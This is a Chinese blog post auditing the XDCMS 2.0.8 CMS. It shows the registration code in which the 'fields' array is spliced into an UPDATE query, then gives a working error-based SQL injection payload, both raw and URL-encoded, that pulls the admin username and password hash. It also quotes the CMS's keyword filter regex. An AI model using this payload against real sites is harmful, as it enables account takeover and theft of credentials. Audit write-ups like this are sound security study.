欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

php代码审计【18】XDCMS 源码审计

程序员文章站 2022-05-19 18:20:10
...

一、搭建环境:

       下载源码--》xdcms_v2.0.8.rar---》安装(我这里后台用户密码默认)

二、搭建好之后:

php代码审计【18】XDCMS 源码审计

 三、代码审计工具seay,直接搜$_GET(找前台的参数提交)

php代码审计【18】XDCMS 源码审计

看到之后,跟进了safe_html:

function safe_html($str){
	if(empty($str)){return;}
	if (preg_match('/\b select\b |\b insert\b | \b update\b | \b and\b | \b in\b | \b on\b | \b left\b |\b joins\b | \b delete\b |\%|\=|\/\*|\*| \b union\b |\.\.\/|\.\/| \b from\b | \b where\b | \b group\b | \binto\b |\bload_file\b
	|\boutfile\b/i',$str)){showmsg(C('error'),'-1');}
	return htmlspecialchars($str, ENT_COMPAT ,'GB2312');
}

 基本上注入就不好构造了啊,那找找$_POST,

php代码审计【18】XDCMS 源码审计

进去之后,这个变量有两个地方有,看第一个:

 php代码审计【18】XDCMS 源码审计

源码如下:

public function register_save(){
		$username=safe_html($_POST['username']);
		$password=$_POST['password'];
		$password2=$_POST['password2'];
		$fields=$_POST['fields'];
		if(empty($username)||empty($password2)||empty($password)){
			showmsg(C('material_not_complete'),'-1');
		}
		if(!strlength($username,5)){
			showmsg(C('username').C('str_len_error').'5','-1');
		}
		if(!strlength($password,5)){
			showmsg(C('password').C('str_len_error').'5','-1');
		}
		if($password!=$password2){
			showmsg(C('password_different'),'-1');
		}
		$password=md5(md5($password));
		
		$user_num=$this->mysql->num_rows("select * from ".DB_PRE."member where `username`='$username'");//判断会员是否存在
		if($user_num>0){
			showmsg(C('member_exist'),'-1');
		}
		$ip=safe_replace(safe_html(getip()));
		$this->mysql->db_insert('member',"`username`='".$username."',`password`='".$password."',`creat_time`='".datetime()."',`last_ip`='".$ip."',`is_lock`='0',`logins`='0',`groupid`='1'");//插入主要字段——用户名、密码
		$last_id=$this->mysql->insert_id();
		
		//插入附属字段
		$field_sql='';
		foreach($fields as $k=>$v){
			$f_value=$v;
			if(is_array($v)){
				$f_value=implode(',',$v);
			}
			$field_sql.=",`{$k}`='{$f_value}'";
		}
		$field_sql=substr($field_sql,1);
		//echo "input-->".$field_sql."<br/>";
		
		$field_sql="update ".DB_PRE."member set {$field_sql} where userid={$last_id}";
		
		echo "field_sql-->".$field_sql."<br/>";
		//sleep(5);
		$query=$this->mysql->query($field_sql);
		//sleep(5);
		
		showmsg(C('register_success'),'index.php?m=member&f=register');
	}

可以看到是注册页面功能:

php代码审计【18】XDCMS 源码审计

通过抓包(username=test1&password=test12&password2=test12&fields%5Btruename%5D=xdcmd1&fields%5Bemail%5D=xdcmd1bbb&submit=+%D7%A2+%B2%E1+):

php代码审计【18】XDCMS 源码审计

可以推测,truename email参数可控。证实如下  

php代码审计【18】XDCMS 源码审计

 

php代码审计【18】XDCMS 源码审计

 关注查询函数,query

php代码审计【18】XDCMS 源码审计

构造exp读取管理员的用户名密码:

update c_member set `truename`='qqqqqq',`email`='qq456' where userid=8 and (select 1 from (select count(*),concat((select (select (select concat(0x7e,0x27,username,0x3a,password,0x3a,encrypt,0x27,0x7e)
from c_admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#' where userid=36

在邮箱注册处填入:

jjjj' where userid=8 and (select 1 from (select count(*),concat((select (select (select concat(0x7e,0x27,username,0x3a,password,0x3a,encrypt,0x27,0x7e)
from c_admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#' where userid=36

 抓包得到:

username=test1xssx&password=111111&password2=111111&fields%5Btruename%5D=111111&fields%5Bemail%5D=456%27+where+userid%3D8+and+%28select+1+from+%28select+count%28*%29%2Cconcat%28%28select+%28select+%28select+concat%280x7e%2C0x27%2Cusername%2C0x3a%2Cpassword%2C0x3a%2Cencrypt%2C0x27%2C0x7e%29+from+c_admin+limit+0%2C1%29%29+from+information_schema.tables+limit+0%2C1%29%2Cfloor%28rand%280%29*2%29%29x+from+information_schema.tables+group+by+x%29a%29%23%27+where+userid%3D36&submit=+%D7%A2+%B2%E1+

php代码审计【18】XDCMS 源码审计

 得到浏览器反馈:

php代码审计【18】XDCMS 源码审计

后台数据库:

php代码审计【18】XDCMS 源码审计 哈哈哈哈哈哈哈哈哈哈哈哈,用了一天才弄完这个,继续,go   go  go  go   go